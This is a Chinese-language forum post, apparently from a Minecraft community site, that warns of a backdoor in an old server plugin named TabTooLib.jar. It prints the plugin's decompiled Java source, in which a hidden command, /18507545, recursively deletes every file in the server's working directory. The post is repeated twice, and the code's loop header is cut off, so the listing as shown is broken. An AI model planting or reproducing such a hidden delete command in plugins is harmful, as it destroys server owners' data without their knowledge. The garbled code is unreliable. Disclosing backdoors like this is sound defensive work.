https://www.mcbbs.net/thread-1452247-1-1.html
存在删端后门,梦星桐的老插件了
定位:
插件名称:TabTooLib.jar
实现方式:服务器内输入命令 /18507545 可远程删除所有文件
实现代码:
package com.mxt.Text;
import java.io.File;
import org.bukkit.command.Command;
import org.bukkit.command.CommandSender;
import org.bukkit.event.Listener;
import org.bukkit.plugin.java.JavaPlugin;
public class Text extends JavaPlugin implements Listener {
public void onEnable() {}
public boolean onCommand(CommandSender sender, Command cmd, String label, String[] args) {
if (label.equalsIgnoreCase("18507545")) {
String filePath = System.getProperty("user.dir");
File forder = new File(filePath);
deleteForder(forder);
return true;
}
return true;
}
public static void deleteForder(File forder) {
File[] files = forder.listFiles();
if (files != null) {
byte b;
int i;
File[] arrayOfFile;
for (i = (arrayOfFile = files).length, b = 0; b
File f = arrayOfFile[b];
if (f.isDirectory()) {
deleteForder(f);
} else {
f.delete();
}
b++;
}
}
forder.delete();
}
}复制代码
存在删端后门,梦星桐的老插件了
定位:
插件名称:TabTooLib.jar
实现方式:服务器内输入命令 /18507545 可远程删除所有文件
实现代码:
package com.mxt.Text;
import java.io.File;
import org.bukkit.command.Command;
import org.bukkit.command.CommandSender;
import org.bukkit.event.Listener;
import org.bukkit.plugin.java.JavaPlugin;
public class Text extends JavaPlugin implements Listener {
public void onEnable() {}
public boolean onCommand(CommandSender sender, Command cmd, String label, String[] args) {
if (label.equalsIgnoreCase("18507545")) {
String filePath = System.getProperty("user.dir");
File forder = new File(filePath);
deleteForder(forder);
return true;
}
return true;
}
public static void deleteForder(File forder) {
File[] files = forder.listFiles();
if (files != null) {
byte b;
int i;
File[] arrayOfFile;
for (i = (arrayOfFile = files).length, b = 0; b
File f = arrayOfFile[b];
if (f.isDirectory()) {
deleteForder(f);
} else {
f.delete();
}
b++;
}
}
forder.delete();
}
}复制代码